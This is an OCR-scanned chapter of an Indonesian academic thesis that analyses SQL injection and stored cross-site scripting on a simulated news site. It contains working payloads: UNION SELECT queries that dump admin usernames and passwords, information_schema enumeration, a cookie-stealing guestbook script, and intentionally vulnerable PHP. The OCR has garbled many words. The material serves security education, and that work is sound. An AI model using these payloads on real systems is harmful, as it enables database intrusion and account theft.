BAB Il

ANALISIS DAN PERANCANGAN

3.1 Analisis Sistem

Analisis Sistem adalah penguraian dari suatu miasaag utuh ke dalam
bagian-bagian komponennya dengan maksud untuk oemgikasikan dan
mengevaluasi permasalahan-permasalahan, kesenkesgmpatan, hambatan-
hambatan yang terjadi dan kebutuhan-kebutuhan géragapkan sehingga dapat
diusulkan perbaikan-perbaikannya. Bab ini akan roexigan proses analisis

sistem simulasi ancaman keamanan jaringan kompatix aplikasi berbasis web.

3.1.1 Analisis Masalah
Berdasarkan data dafieb Hacking Incidents Database (WHID) pada tahun
2010, dari 75 jenis ancaman terhadap aplikasi webanyak 21% merupakan

ancamar8QL Injection dan 9% adalah ancam@noss Site Scripting.[13]

Denial of Service

35%

SQOL Injection

21%

Cross-Site
Scripting (XSS)
0

/o

Gambar 3.Metode Ancaman yang Terjadi
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AncamanSQL Injection merupakan ancaman yang terjadi pada database
aplikasi web. Database digunakan sebagai mediaippapan data yang berisi
informasi berkaitan dengan aplikasi. Dalam penaagaancamar8QL Injection,
metode yang digunakan adalBase64 Encode, namun metode ini masih rentan
terhadap manipulasstring. Ancaman kedua adala@ross Ste Scripting yang
terjadi pada tampilan aplikasi web. Salah satu ekaly ancaman ini adalah
kurangnya metodénput Encoding dalam proses penyaringan karakter sehingga
mengizinkan karakter tertentu dieksekusi. Kedusaaran di atas menyulitkan
para perancang aplikasi web untuk mengetahui mekenancaman yang terjadi.

Berikut ini adalah hal-hal yang akan dianalisisitiyaAnalisis Protokol,
Analisis HTTP Request, Analisis URL, Analisis Metode Ancaman, Analisis

Metode Pertahanan dan Analisis Kebutuhan Infragiruk

3.1.2 Analisis Protokol

Protokol yang digunakan dalam penelitian ini adafigher Text Transfer
Protocol (HTTP). HTTP adalah protokol yang digunakan untuknimansfer
dokumen dalamwWorld Wide Web (WWW), termasuk protokol ringan, tidak
berstatus dan generik yang dapat digunakan padeadmErmacam dokumen dan
protokol ini terdapat padaort 80.[10]

HTTP adalah sebuah protokol yang berfungsi untuknm&/menjawab
antaraclient danserver. Sebualclient HTTP seperti web browser, akan memulai
permintaan dengan membuat hubungan TCP/Ipokietertentu dihost yang jauh.
Sebuahserver HTTP yang mendengarkan ghort tersebut menunggualient

mengirim kode permintaanrequest), seperti "GET / HTTP/1.1" (yang akan

61



meminta halaman yang sudah ditentukan), diikutigdenpesan MIME yang
memiliki beberapaheader yang menjelaskan aspek dari permintaan tersebut,
diikuti dengan badan dari data tertentu. Terd&gatler yang bebas ditulis atau
tidak, namun untukheader yang lain, seperthost diperlukan oleh protokol
HTTP/1.1. Pada saat menerinmaquest (dan pesan, bila adajerver akan
mengirim kembali kode jawaban, seperti "200 OK"n dsebuah pesan yang
diminta, atau sebuah pesa&ror karena terjadi kesalahan. Pada gambar 3.2

berikut ini, menggambarkan mekanisme pada ProtdRdiP.

-The client sends HTTP Request—————»

-+——The server sends back HTTP Response code
Web Server

Client Browser HTTP/1.1 200 OK
Server: Apache/2.2.17
Content-Location: http://192.168.1.9/index.htm
Date: Mon, 9 Apr 2012 02:04:20 GMT
Content-Type: text/ntml
Accept Ranges: bytes
Last-Modified: Sat, 7 Apr 2012 08:10:50 GMT
Content-Length: 8

Wt

Gambar 3.2Protokol HTTP

3.1.2.1HTTP Request

Terdapat dua buah tipe request HTTP yang palinghumiigunakan yaitu
GET dan POST yang juga dikenal sebagaguest Method. Request GET
digunakan untuk mendapatkan atau menerima inforndasi server. Pada
umumnyarequest GET digunakan untuk menerimidle HTML atau image.
Sedangkameguest POST digunakan untuk mengirimkan dataskever. Request

POST akan mengirimkan informasgrver dalam bentuk HTML yang berisi data
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yang dimasukkan oletlient. Kedua metode HTTP Requsest ini sering digunakan
pada ancama@ross Ste Scripting.

Langkah awal darrequest tersebut adalah dengan menentukan metode
yang digunakan. Tabel 3.1 merincikan metode yangmirdigunakan paddTTP
Request.

Tabel 3.1Metode HTTP/1.0

Metode Keterangan

GET Mengambil informasi yang diminta dari

sistem file. Jika file yang dimint

D

14

merupakan file HTML statis, isi fil¢

akan ditampilkan. Tetapi jika file it

=t

server side scripting misalnya PHR
yang dinamis, maka web server akan
memproses file PHP itu, mengeksekusi
perintah-perintahnya, dan mengirim
output perintah-perintah itu ke browser

yang memintanya.

HEAD Metode HEAD hampir sama dengan
GET. Perbedaannya pada: HEAD tidak
mengembalikan data yang diminta.
Tetapi, kekuatan dari HEAD adalah |ia
akan merespon dengan meta-informasi
seperti kode respon server, header

tanggal, header server, dan sejenisnya.
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Karakteristik ini membuat penyerang
bisa melihat satu per satu web senver
yang sedang menjalankan software

web.

POST Metode POST meminta kepada sel

agar menerima informasi yang

o

diberikan dan menindaklanjutiny
Metode POST secara umum digunakan
sewaktu PHP atascripting server side

diikutsertakan.

3.1.3 Analisis URL

URL merupakan sebuah mekanisme untuk mengenaliesusuinber pada
Web, SSL, atau server FTP, termasuk protdiager aplikasi yang membuat

request ke server web. Struktur umum URL adalah:[10]

protocol://server/path/to/resource?parameters

Tabel 3.2<omponen URL

Komponel Keteranga

Protocol Protokol lapisan aplikasi. Kegungan
URL yang paling umum adalgh
meminta sumber-sumber dari web
server (server HTTP). Karena itu

protokol yang paling umum adalah
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http:. Protokol-protokol yang lai

adalah https:, ftp:, ldap:, telne

pop3:, dan lain-lain, tergantung

=]

[,

dukungan server dan browser apa

yang digunakan.

Server

Nama DNS, nama Netbios, atau

alamat IP dari sebualhost atau
jaringan yang menjadiost sumber

yang diminta.

Path/to/resource

Direktoripath, termasuk nam
sumber yang diminta. Sumber b
dalam bentuk file statis atau seby
aplikasi yang secara dinanj

membangkitkan output.

ah

is

Parameter

Secara opsional, parameter d
dilewatkan ke sumber bila ia adal

sebuah aplikasi atau sebu

apat
ah

ah

program yang secara dinamis

membangkitkan output. Bagig
URL yang mengkhususka

parameter diseb@Query Sring.

AN

Pemisah antara namaesource
dengan parameter yang ak

dilewatkan.

an
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3.1.3.1URL Page

URL Page adalah rangkaian karakter menurut suatu formatdatan
tertentu, yang digunakan untuk menunjukkan alamatus sumber seperti
dokumen dan gambar di Internet. Target pada sinmulads beralamat di

www.informasimu.com

informasimu.com,/mod.phpfkateg

Gambar 3.3JRL Page

Analisis pertama bisa ditarik dari nama sumbermgad.php. Ekstensi
.php menandakan bahwa file ini adalah file PHP yang makan Opensource
Language Programming. File-file PHP berjalan secara khusus pada baiyek

Server Apache. Dengan demikiamyw.informasimu.com  kemungkinan besar

adalah sebuah server yang menggunakan Linux padeh&p

www.informasimu.com/mod.php?kategori=teknologi&id=3 , terlihat

dari URL Page yang djenerate ditemukan beberapa petunjuk. Parameter pertama
yaitu kategori=teknologi menandakan bahwa berita yang sedang diakses adalah
mengenai teknologi, dan berita tersebut pasti giaimdi database. Pilihan
terpopuler dari platform database yang digunakah pfroduk opensource adalah
MySQL. Parameter kedua yaiid=3, menandakan bahwa berita dari kategori
teknologi sedang mengakses id ke-3. Jadirfied.php mempunyai mekanisme

pengambilan data dari database kemudian menampitkdnowser.
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3.1.4 Analisis Metode Ancaman
Dalam penelitian ini, metode ancaman yang digunadan? macam yaitu

L Injection danCross Ste Scripting.

3.1.4.1SQL Injection

L Injection adalah metode ancaman yang mengizinghent untuk
mengeksekusi database melalui URL dan mendapaksas aintuk memperoleh
informasi penting. Mekanisme ancaman dilakukan dangnemanfaatkan
kesalahan pada kode program yang tidaklteti, sehingga menyebabkan

terjadinya eksploitasi pada database.[2][3][8][9]

$a=mysql_query(‘select 1.group_concat
(usemame.0x3a,paswd) 3.4,5 from admin");

Jartikel php?id=-2 union select 1,group_concat
(usemamms Ox3a paswd),3.4 5 from admin

Web Application

-admin:21232f297a57a5ar43894a0e4a80 TIGC)—‘

“ e £l saD e

Attacker

admin:21232f297a5725a743894a0e4a801fc3 i
- mysql_resultiSa):

Gambar 3.Mekanisme SQL Injection

a. Mencari Celah Keamanan
Ancaman SQL Injection dilakukan pada URL yang menyail id.

Mekanisme ancaman dilakukan sebagai berikut.

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3

Tambahkan tanda petik satu (*) di akhir id, sehanggenjadi:

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 "’

67



maka akan tampil pesan kesalahan sep¥éoti have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right...",

itu menadakan website mempunyai potensi celah kean®)L Injection.

Teknologt
u have an error i 1“QL ¢; check the manual that corresponds to your MySQL server version
mtax to use near ™ at line 1

hav
for the ri

||Q

Gambar 3.9Pesan Kesalahan Web Aplikasi
Tanda petik satu(*) pada akhir id digunakan untwngecek apakah variabel id
difilter atau tidak. Apabila variabel tersebut #ddifilter maka akan menampilkan
pesan kesalahan yang menyatakan kesalahamgpadaSQL. Gambar berikut ini
menjelaskan mengapa tanda petik satu(‘) pada akkiapat menghasilkan pesan

kesalahan.

|my§q1§ ﬁelect*flom teknologi where(id=3"';

[ERROR 1364 C420880>: You have an error in your S5QL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near *';

‘' at line
mysgl> _

Gambar 3.6Pesan Kesalahan pada MySQL Console

Dari pesan kesalahan tersebut, selanjutnya pernyelgmat menyimpulkan bahwa
variabel pada id tidak di filter, sehingga dengdak adanya proses pem-filter-an
pada id, semua karakter yangngutkan akan dijalankan menurut aturan query

pada MySQL.

b. Menemukan Banyak Kolom
Setelah dapat menyimpulkan bahwa semua karaktey glamputkan akan

dijalankan menurut aturan query pada MySQL, makanggnya penyerang akan
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menginputkan query tertentu. Untuk menemukan bankallom, digunakan

statemen ORDER BY. Berikut adalah cara penggunaanny

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 1

/ltidak ada kesalahan

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 2

/ltidak ada kesalahan

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 3

/ltidak ada kesalahan

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 4

/l tidak ada kesalahan

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 5

/ltidak ada kesalahan

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 6

/ltidak ada kesalahan
http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 7
/ltidak ada kesalahan

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=3 order by 8

/I ada kesalahan

pesan kesalahan seperti “Unknown column '8’ ireloatiuse™ yang menyatakan

bahwa tabel tersebut tidak menemukan tersebut kkémtalapan.

c. Menemukan Informasi Database
Untuk menemukan informasi database, gunakan fubg$iON. UNION
adalah fungsi yang digunakan untuk menggabungKaih Bari satuwuery dalam

satu perintah SQL. Penggunaan fungsi ini adalaagsetberikut.
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http://www.informasimu.com/mod.php?kategori=teknolo gi&id=-3 union

select 1,version(),3,4,5,6,7 . Hasil dari query tesebut menampilkan

beberapa angka dan versi dari database yang dignnak

Teknologi

Dipostkan oleh 3

5.0.92

Gambar 3. ®eb Aplikas Menampilkan Angka

3.1.4.2Analisis Information_schema

Pada gambar 3.7 web aplikasi menampilkan versbdata Versi database
yang digunakan adalah versi 5. Pada database %jetsrdapat databasiefault
yang dibuat ketika MySQL di install. Database tersebut adalah
information_schema. Gambar 3.8 berikut adalah databasirmation schema

pada MySQL.[3]
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— . ] MWUUD_CUCT 1= OTUWSE [ JUuct
= &

RArsAArsT [] INNODB_LOCK _WAITS = Browse 4 Struct
phpIVIUA(

[ INNODB_TRX = Browse 4 Struct

o B 00 e [[] KEY_COLUMN_USAGE |=] Browse 4 Struct

[F] PARAMETERS = Browse 34 Struct

E [7] PARTITIONS |= Browse 4 Struct

filter tables by name [F] PLUGINS [= Browse i Struct

| 7] CHARACTER_SETS || [ PROCESSLIST |= Browse 4 Struct

[ UOLLIONS [F] PROFILING = Browse ¥4 Struct
=] COLLATION_CHARACTER _SET_APR REFERENTIAL_CONSTRAINTS E B S

] COLUMNS [Fl B = Browse % Struct

[=] COLUMN_PRIVILEGES [C] ROUTINES = Browse i Struct

| =] ENGINES 1 SCHEMATA |= Browse bt Struct

[=] EVENTS [F] SCHEMA_PRIVILEGES [5) Browse 4 Struct

E FILES = -

] GLOBAL_STATUS [[] SESSION_STATUS |=] Browse 24 Struct

|=] GLOBAL VARIABLES | [[] SESSION_VARIABLES |=| Browse 4 Struct

[=] INNODB_CMP [] STATISTICS |=] Browse 4 Struct

[Z] INNODB_CMPMEM [F] TABLES |= Browse 4 Struct

Gambar 3.®atabase information_schema

Database ini menyimpan seluruh informasi tabel #alom yang ada pada

database MySQL. Gambar 3.9 berikut merupakan tatheti database

information_schema.
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f — - ~— e —— T -
i c\wamp\bin\mysghmysql55.200bicimysglexe - @EI&J
mysgl> show tabhles; -

! Tables_in_information_schema

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_FRIVILEGES
ENGINES

EUVENTS

FILES
GLOBAL_STATUS
GLOBAL_UARIABLES
KEY_COLUMN_USAGE
PARAMET ERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_COMSTRAINTE
ROUTINES

SCHEMATA
SCHEMA_PRIUILEGES
SESSTON_STATUS
SESSION_UARIABLES
STATISTICS

$PACES
BLE_CONSTRAINTS
TABLE_PRIUVILEGES
TRIGGERS
USER_PRIVILEGES
UIEUS
INNODB_CMP_RESET
INNODB_TRX
INNODB_CMPMEM_RESET
IHHODB_LOGK_WAITS
INNODB_CMPMEM
INNODB_CMP
IHHODB_LOGKS

m

37 rows in set <(A.BA sec)>
Gambar 3.9abel pada Information_schema
Tabel TABLES padainformation_schema menyimpan informasi tabel-tabel yang

terdapat dalam database. Gambar 3.10 berikut melkampdeskripsi dari

TABLES.

e = i = —— - -
0 cwamp\bin\mysghmysqls.520\binvmysglexe - Elﬂlﬂ_hj
mysgql> desc tabhles; i
i Field 1 Type ! Null ! Key | Default ! Extra |
\ TABLE_CATALOG i varchar(512)> i NO H H H 1
H ] i varchar{64> 1 NO H H H i

" InBLE_N i varchar(64d i NO H H H 1

™~ I varchar{(64> 1 NO i i i i

i El 1 varchar(6d) 1 YES 1 1 NULL i i
i UERSION i bigint{21) unsigned | YES | i NULL i i
i ROU_FORMAT 1 varchar(18) 1 YES 1 1 NULL i i
! TABLE_ROUS i bigint{21) unsigned | YES | i NULL i i
i AUG_ROW_LENGTH | bigint<21) unsigned i ¥YES 1| 1 NULL i i
i DATA_LENGTH i bigint{21> unsigned | YES | i NULL i i
i MAX_DATA_LENGTH | bigint<21) unsigned i ¥YES 1| 1 NULL i i
i INDEX_LENGTH i bigint{21> unsigned | YES | i NULL i i
i DATA_FREE i bigint{21> unsigned i YES | i NULL H 1 =
! AUTO_INGREMENT | bigint{21> unsigned | YES | i NULL i i
i CREATE_TIME i datetime i YE§ | i NULL H i
| UPDATE_TIME i datetime i YE§ | i NULL i i
i CHECK_TIME i datetime i YE§ | i NULL H i
! TABLE_COLLATION § varchar{32> i YE§ | i NULL i i
|1 CHECKSUM i bigint<{21> unsigned i YES | i NULL H i
! CREATE_OPTIONS | varchar{255) i YE§ | i NULL i i
| TABLE_COMMENT i varchar(2848> i NO H H H H
21 rows in set (B.B1 sec?

Gambar 3.1@eskrips TABLES
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Di dalamTABLES terdapatfield yang bernamé#able_name. Tabel tersebut berisi
informasi dari semua tabel yang ada di databasmb@a3.11 menampilkan isi

daritable_name.

| = chwamp\binmysglimysgl5.5.200bin\mysql.exe

mysgl> select tahle_name from tables:

i table_name H
CHARACTER_SETS

COLLATIONS
COLLATIOM_CHARACTER_SET_APPLICABILITY

COLUMNS
_PRIVILEGES
S

COLUMN
ENGINE
EUENTS
FILES
GLOBAL_STATUS
GLOBAL_UARIABLES
KEY_COLUMN_USAGE
PARAMETERS
PARTITIONS
PLUGINS

1

1

1

1

1

1

i

_terharu 1
admin i
blacklist 1
bukutamu 1
humor i
kesehatan 1
lol._l.nge i
zains i
tahukah_kamu i
teknologi i
unik 1
admin 1
herita i
blacklist 1
guesthook H
admin E
E

m

fakultas
Juruszan
pendaf tar

'183 rous in set (B.@1 sec)

Gambar 3.11s table name

Gambar 3.11 merupakan isi deable_name. Sebagian dari gambar tersebut tidak
ditampilkan karena tabel yang ada paalale name terlalu banyak. Selain dari
tabel,information_schema juga menyimpan informasi kolom yang terdapat pada
tabel. Gambar 3.12 menampilkan deskripgiolumn pada database

information_schema.
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| 1 cAwamp\bin\mysgl\mysgl5.5.20\bin\mysgl.exe
ggig%‘isgsg};:;gsmat:i.on_schema.; -
mysgl> desc columns;
5 T
E Field I Type ! Hull | Key | Default | Extra
+ |
E TABLE_CATALOG i varchar(512> 1 NO H H H =
E TABLE_SCHEMA I varchar(64> I NO H H H
E i varchar(64> i NO H H H |
I 1 varchar(61} 1 NO i H H . I
i _POSITION i bigint<21) unsigned § NO i i 8 i
E COLUMN_DEFAULT i longtext 1 YES 1 i NULL H
E I5_MULLABLE i varchar(i’ 1 NO H H H
E DATA_TYPE I varchar(64> I NO H H H
E CHARACTER_MAXIMUM_LENGTH | bigint<21» unsigned ! YES | I NULL H
Ii CHARACTER_OCTET _LENGTH ! bigint{21) unsigned | YES | I NULL H
E NUMERIC_PRECISION i bigint<2Z1) unsigned { YES | i NULL i
IE NUMERIC_SCALE i bigint<21) unsigned | YES | i NULL H
E CHARACTER_SET_MNAME i varchar(i2> I YES 1 i NULL H
E COLLATIOM_NAME ! varchar(i2> I YE§ | I NULL H
i COLUMN_TYPE ! longtext I NO H I NULL H
i COLUMN_KEY ! varchar(3) I NO H H H
i EXTRA i varchar(2? i HO i i i
E PRIVILEGES i varchar(88> 1 NO H H H
E COLUMN_COMMENT ! varchar(iB24> I NO H H H
i
I

Gambar 3.1Deskrips COLUMNS

Di dalam COLUMNS terdapatfield yang bernamaolumn_name. Field tersebut

berisi informasi dari semua kolom yang ada di dageb Gambar 3.13

menampilkan isi daigolumn_name.
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mysgl> select column_name from columns;

id

Judul
author
artikel
artikel_lengkap
waktu
sumbher
kategori
id_kategori
id

uname

paswd

id

input
output

i

nama

alamat
pesan

id

Judul
author
artikel
artikel lengkap
waktu

artikel_ lengkap
waktu

sumber

id

Judul

author

artikel
artikel_lengkap
waktu

sumber

id

Judul

author

artikel
artikel_lengkap
waktu

.

artikel
artikel_lengkap
waktu

sumbher

id

1 1
H i
! !
H i
i i
1 1
i i
1 1
! !
H i
1 judul i
H i
1 1
i i
1 1
! !
H i
! !
H i
i i
1 1

Gambar 3.13s column_name

Gambar 3.13 merupakan isi daolumn_name. Sebagian dari gambar tersebut
tidak ditampilkan karena kolom yang ada pamdumn_name terlalu banyak.
Databasenformation_schema akan digunakan pada saat ancarS@h

Injection dijalankan.
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3.1.4.3Penyebab SQL Injection

L Injection terjadi karena ada suatu variabel yang tidak derfil
Variabel tersebut berfungsi sebagai penampung itg yakan medeokup ke
database. Apabila variabel ini tidak di filter, rmakemua jenis tipe data akan
dieksekusi melalui variabel ini. Berikut ini adaldode yang menyebabkan

ancamar8QL Injection terjadi.[2][3]

43. $id=@$_GET['idT;

44. if($id) {

45, echo "<table width=\"50%\">";

46. $sgl="select*from $kategori  where id=  $id ";
47. $berita=mysql_query($sql)or die (mysql_error());

Gambar 3.14&Kode yang Menyebabkan SQL Injection

Pada gambar 3.14 merupakan bagian kdde file mod.php. File
mod.php adalah sebuah file yang berfungsi untuk lewkup berita dari database
kemudian menampilkannya ke browser. Ancar®@b Injection terjadi karena
pada variabeld tidak difilter. Variabel ini berada padme 43.

L Injection bekerja pada variabel id yang tidakfitier. Pada variabel id
ini dapat disisipkan kode yang dapat memanipulegiest ke database. Berikut

ini adalah salah satu penggunaan kode yang tedasdipkian pada sebuah URL:

http://www.informasimu.com/mod.php?kategori=teknolo gi&id=-3

union select 1,version(),3,4,5,6,7

ketika URL tersebut dieksekusi, maka yang terjagilgp kodeadalah sebagai

berikut:
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43. $id=@$_GET[id7;

44. if($id) {
45. echo “<table width=\"50%\">";
46. $sqgl="select*from teknologi where id= -3 union

select 1,version(),3,4,5,6,7” :
47. $berita=mysqgl_query($sql)or die (mysql_error());

Gambar 3.1%ksekusi Query SQL Injection

Pada gambar 3.15 dine 46, query berhasil dimanipulasi oleattacker
sehinggaguery tersebut tidak hanya meminta data dari kategdmologi dengan
id ke-3, namun juga menampilkan versi dari database yaggndkan. Fungsi
version() merupakan fungsi yang terdapat pada My&@ik mengetahui versi
database yang digunakan. Dengan berjalarmqugny ini, maka attacker dapat
menjalankarquery lain dengan fungsi-fungsi tertentu yang dapat mdrapakan
database hingga webserver.

Salah satu metode yang digunakan untuk menguramganaan SQL
Injection adalah metodeBase64 Encode. Namun metode ini masih memiliki

kekurangan. Berikut ini adalah analisis dari MetBdse64 Encode.

3.1.4.3.1 Metode Base64 Encode

Base64 Encoding adalah skema pengkodean yang mengkodekan data
biner dan menerjemahkannya ke dalam representas 64. Skemaencoding
base64 digunakan ketika ada kebutuhan untuk merkgandata biner yang perlu
disimpan dan ditransfer melalui media yang diragcantuk menangani data

tekstual. Tabel 3.3 merupakan karakteristik daselbd.[11]
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Tabel 3.3Karakteristik Base64

Value | Char Value | Char Value | Char Value | Char
0 A 16 Q 32 g 48 w
1 B 17 R 33 h 49 X
2 C 18 S 34 i 50 y
3 D 19 T 35 j 51 z
4 E 20 u 36 k 52 0
5 F 21 \Y 37 I 53 1
6 G 22 w 38 m 54 2
7 H 23 X 39 n 55 3
8 I 24 Y 40 0 56 4
9 J 25 z 41 p 57 5
10 K 26 a 42 q 58 6
11 L 27 b 43 r 59 7
12 M 28 c 44 s 60 8
13 N 29 d 45 t 61 9
14 o 30 e 46 u 62 +
15 P 31 f 47 v 63 /
pad =

Salah satu metode dalam mengurangi anca8in Injection adalah
dengan menggunakamase64 Encode. Metode ini menyamarkan id yang
membawa berita dari database. Id yang disamarkdalunenetode ini cukup
dapat mencegah ancaman, namun jenis samaran it oh@gat menyebabkan

L Injection terjadi, karena id hanya dincode dengan base64, sehinggtacker
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dapat menjalankarsQL Injection hanya dengan mengganti karakter menjadi

base64. Penggunaan base64 metode dapat dilihat pada BRdub

http://www.informasimu.com/mod.php?kategori=teknologi&ids Mw=-2)

A .
.@farmaslmu |

Awal Tentang Disclaimer Buku Tamu Kontak Logout

Lounge Sains Teknologi Kesehatan Tahukah Kamu Unik

Teknologt

Minggu, 1 April 2012
Dipostkan oleh admin
Penclic Mouse, Mouse Berbentuk Pen Untuk
Menghindar Sakit Pergelangan Tangan
Setiap ada model mouse baru, pasti semuanya mengklim merekalah yang paling nyaman
digunakan dan bagaimana dengan yang satu ini?

PenClic Mouse adalah sebuah mouse yang bentuknya mirip sebuah pen vang juga menjanjikan
kenyamanan dalam penggunaan dan menghindari anda terkena Mouse Arm Syndrome (MAS) atau
vang bisa bikin pergelangan tangan jadi sakit.

Gambar 3.16D yang Berbentuk Base64

Mw== merupakan representasi dari angka 3 yang teldfadimenjadi
base64 encode. Representasi ini memiliki mekanigareg sama dalam me-
lookup berita ke database. Di dalam kode, id yang bermg&aaakan dencode
terlebih dahulu menggunakan base64, kemudian paatanselakukarquery ke
database, id akan decode kembali. Berikut ini adalah kodgang menunjukkan

prosesdecode danencode terhadap variabel id:
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informasimu.com/mod.phpkategori=teknologi& -"
43. $1d=@S GET['id'];

44. Sdecode_id=base64 decode ($id);

45. if($id) {

46. echo "<table width=\"50%\">";
47. $sql="select*from $kategori where id=S$decode id”;
48. $berita=mysgl query($sqgl)or die (mysgl error());

mysql> select*from teknologi where id=3;

& .
@iormaﬂmu I
’ ¢ Wawasan dan Imajinasimu!

Awal Tentang Disclaimer BukuTamu Kontak Logout

ge Sains Teknologi Kesehatan Tahukah Kamu Unik

Teknologi

Minggu, 1 April 2012

Dipostkan oleh admin
Penclic Mouse, Mouse Berbentuk Pen Untuk
Menghindari Sakit Pergelangan Tangan

ang paling nyaman

Gambar 3.1Proses Decode Pada ID

Pada gambar 3.17 dine 44 adalah prosedecode terhadap id yang telah di

encode sebelumnya. Berikut ini adalah prosesode terhadap variabel id.
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select*from teknologi where id=3;_

U

104. while($isi=mysgl fetch array($judul)) {

105. $Sencode id=base64 encode ($isi['id']);

106. echo “<tr><td>$no</td><td>

107. <a href=\"?id=$encode id\">$isil[judull</a></td>";
108. echo “<td>$isi[waktul</td></tr>";

109. Sno++;

110: }

informasimu.com/mod.php’kategori=teknologi&id

@ormasimu I
A '/ Woawasan dan Imajinasimu!

Awal Tentang Disclaimer BukuTamu Kontak Logout

Teknologi

Minggu, 1 April 2012

Dipostkan oleh admin

Penclic Mouse !llouse Berbentuk Pen Untuk
Meng__ indar Sakat Perge_langa_n Tangan

ang paling nyaman

Gambar 3.1%roses Encode Pada |ID

Pada gambar 3.17 dan 3.18 merupakan bagian @#addile mod.php. Proses
encode pada gambar 3.18 yaitu kodd&kan mengecek apakah variabel id telah
terisi oleh sebuah nilai, apabila variabel terseiolatk terisi nilai maka id akan di

encode, namun apabila variabel tersebut terisi nilai yéglgh terencode, maka
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proses selanjutnya merupakan prodeende terhadap nilai variabel id, kemudian
melakukamuery ke databasd.ine 105 merupakan prosescode terhadap id.
Proses penyamaran id ini sekilas memang tidak aliket oleh
pengguna. Namurattacker dengan mudah untuk memanipulasi variabel ini
sehingga dapat menjalankauery yang berbahaya bagi database dan server.
Secara logika,id=Mw== yang terdapat pada URL merupakan
representasi daid=3 . Apabila dianalisis lebih lanjut, variab&l hanya akan
membaca nilai yang berbentuk base64 saja, sehmitgjaapapun selain base64
tidak akan diproses olefQuery. Melalui cara ini, attacker dapat melakukan

eksekusguery hanya dengan mengkonversikan nilai menjadi benasie®4.

3.1.4.4Cross Site Scripting

Cross Ste Scripting adalah metode ancaman yang memaksa situs web
untuk menampilkan kode berbahaya, yang kemudiasadikan pada browser
web pengguna. Mekanisme ancaman dilakukan dengamaniaatkan kesalahan
pada kode program yang tidakfdter. Kode tersebut akan dimasukkan ke dalam

form, di antaranydorm buku tamu atatorm pencarian.[3][4]

Sx=<hi><font color=red>hacked by me<font></h1> Sy=mysgl_query("insert into guestbook(contant] values('$x)"):

Database

Web Application

&
DATA TAMU
jon

*hacked by me"

Attacker

| (G = quemt select*from bukutamu

pesan :

hacked by me

Gambar 3.1%ekanisme Cross Ste Scripting
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3.1.4.5Penyebab Cross Site Scripting

Cross Ste Scripting terjadi karena tidak adanya penangan nilai masukan
pada variabel sehingga masukan tersebut dieksbkg#u saja sesuai nilai yang
ada. Apabila variabel tersebut tidak di filter, rmakemua nilai masukan akan
dieksekusi. Berikut ini adalah kode yang menyebabkacamanCross Ste

Scripting terjadi.

10. $nama=$_POST['nama;

11. $alamat=$_POST['alamatT;

12. $pesan=$_POST['pesan’;

13. $kode=$_POST['kodeT;

14. $pattern=$_POST['asd";

15.

16. if(($nama=="")||($alamat=="")||($pesan=="")||
($kode!=$pattern)) {

17. echo "<p><b>semua field harus diisil</b></p>";

18. }

19. else

20. if(($namal!="")&&($alamat!="")&&($pesan!="")&&
($kode==%pattern)) {

21.

22. $masuk=mysql_query("insert into bukutamu values
(NULL,'$nama’,'$alamat’,'$pesan’)");

23. if($masuk) {

24, echo "<p><b>pesan berhasil disimpan!</b></p>";

25. }

26. else echo "<p><b>pesan gagal disimpan</b></p>";

Gambar 3.2Kode yang Menyebabkan Cross Ste Scripting

Pada gambar 3.20 merupakan bagian kddg file contoh.php. File

contoh.php adalah sebuah file yang berfungsi untuk memprasesukan,

sehingga masukan disimpan ke database. Ancaness Ste Scripting terjadi
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karena pada variabahma, alamat,danpesantidak difilter. Variabel ini berada
padaline 10-12.

Pada variabel tersebut dapat disisipkan kgdeg dapat memanipulasi
halaman website sehingga halaman tersebut merngidi teratur bahkan kode
yang disisipkan dapat mencuwookie dari pengguna yang dapat menyebabkan
terjadinya eksploitasi pada akun pengguna. Berikut adalah salah satu

penggunaan kode yang telah disisipkan pada sdbuatbuku tamu[14]:

Lounge Sains Teknologi Kesehatan Tahukah Kamu Unik

Buku Tamu
Nama*

Guest

Email/ Website*
digdo.com

Pesan®

<font color=red>

<h1=halo admin</h1>
</font>

Masukkan Kode Verifikasi*

164184164184

Simpan

*) harus diisi.

Gambar 3.25cript yang disisipkan pada Buku Tamu

Setelah tombadubmit di tekan, maka akan keluar gambar berikut:
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'Guest mengatakan:

éhalo admin

‘digdo mengataken:
"*summer after high school when we first met”

----------------------------------------------------------------------------------

‘tamu mengatakan:
i*and I remember almost crazy we think”

{admin mengatakan:
*ini adalah formulir buku tamu yang memuat komentar para pengunjung’
‘website” !

{Guest mengatakan:
"*haloooo ini buku tamu lohh”

Gambar 3.2Zcript yang dijalankan pada Buku Tamu

Gambar 3.23 berikut ini adalah penyisignipt yang akan menampilkasookie

pengguna.

ounge >Sains

Bulku Tamu
Nama*

Guest

Email/Website*
digdo.com

Pesan*

<script>alert(document.cookie);</seript>

Masukkan Kode Verifikasi*

508585 508585

Simpan

Gambar 3.2%cript cookie yang disisipkan
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Gambar 3.24 berikut ini adalah eksekusi kode yaaygati menampilkamookie

pengguna.

PHPSESSID=305 A 1102 1 446 c Mg

Lok ]

Gambar 3.24cript cookie yang dijalankan pada Buku Tamu

Ketika nilai tersebut dsubmit, maka contoh.php akan mengeksekusi kyaleg

telah disisipkan untuk disimpan ke database. Berikii adalah kodedari

contoh.php yang telah disisipkan oleh kode padabgard.21:
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10. $nhama="Guest”;

11. $alamat="d1gdo.com”;

12. $pesan="<font color=red><h1>halo admin</h1></fo nt>";

13. $kode="164184";

14. $pattern="164184";

15.

16. if(($nama=="")||($alamat=="")||($pesan=="")||
($kode!=$pattern)) {

17. echo "<p><b>semua field harus diisi!</b></p>";

18. }

19. else

20. if(($namal!="")&&($alamat!="")&&($pesan!="")&&
($kode==$pattern)) {

21.

22. $masuk=mysql_query("insert into bukutamu values
